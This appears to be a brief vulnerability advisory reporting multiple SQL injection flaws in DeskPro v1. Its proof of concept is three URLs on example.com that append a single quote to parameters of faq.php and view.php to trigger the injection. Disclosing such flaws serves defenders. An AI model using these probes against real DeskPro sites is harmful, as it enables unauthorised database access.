• info
• discussion
• exploit
• solution
• references

DeskPro Multiple SQL Injection Vulnerabilities

The following proof of concept has been provided:

http://www.example.com/deskpro_v1/faq.php?cat=45'
http://www.example.com/deskpro_v1/faq.php?article=105'
http://www.example.com/deskpro_v1/view.php?ticketid=1'&ticket_pass=